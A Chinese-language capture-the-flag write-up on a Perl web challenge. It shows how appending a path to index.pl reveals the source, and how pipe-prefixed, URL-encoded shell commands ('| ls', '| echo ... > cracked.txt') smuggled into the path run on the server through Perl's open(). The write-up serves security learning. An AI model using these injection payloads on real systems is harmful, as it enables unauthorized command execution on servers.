只要看的到原始碼就無敵了~

題目網頁明顯是perl寫的,就三個連結都可以一一點開,可以發現URL的部份會後綴檔案名稱,例如:

http://ctfq.sweetduet.info:10080/~q26/index.pl/a_scandal_in_bohemia_1.txt

那如果後綴就是自己呢? ლ(◉◞౪◟◉ )ლ

於是…

http://ctfq.sweetduet.info:10080/~q26/index.pl/index.pl


就看到原始碼啦~~
不過當然不可能這麼簡單,還有一個關卡要解。

其中只有一段原始碼是重點:

1
2
3
4
5
6
7
8
9
# Can you crack me? :P
open(F,'cracked.txt');
my $t = <F>;
chomp($t);
if ($t eq 'h@ck3d!') {
print 'FLAG_****************<br><br>';
}
unlink('cracked.txt');
####

雖然我沒有寫過perl的經驗,但是看一看大概還是可以知道它是要開啟cracked.txt這個檔案,如果檔案內容是h@ck3d!的話就會印出FLAG。

看了看其他地方應該沒有什麼眉腳,把焦點放回到URL上,說到URL攻擊大概就是URL injection了,既然perl本身也是個script,應該可以成功呼叫系統命令。馬上嘗試簡單的| ls(有經過URL encode):

http://ctfq.sweetduet.info:10080/~q26/index.pl/%7C%20ls

結果很明顯,URL injection成功被執行了。
URL

原本想說看到flag.txt就在目錄底下,會不會下個| cat flag.txt破台了,結果果然沒有這麼簡單 (´_ゝ`)
URL02

還是得回歸index.pl的那段原始碼,不過已知URL injection可行的情況下,可以很輕易的建立| echo "h@ck3d!" > cracked.txt

http://ctfq.sweetduet.info:10080/~q26/index.pl/%7C%20echo%20%22h%40ck3d!%22%20%3E%20cracked.txt

執行以後,cracked.txt就成功被建立在目錄底下,只要再任意點選其他的一個連結,那段原始碼就會被執行並印出FLAG~~
URL03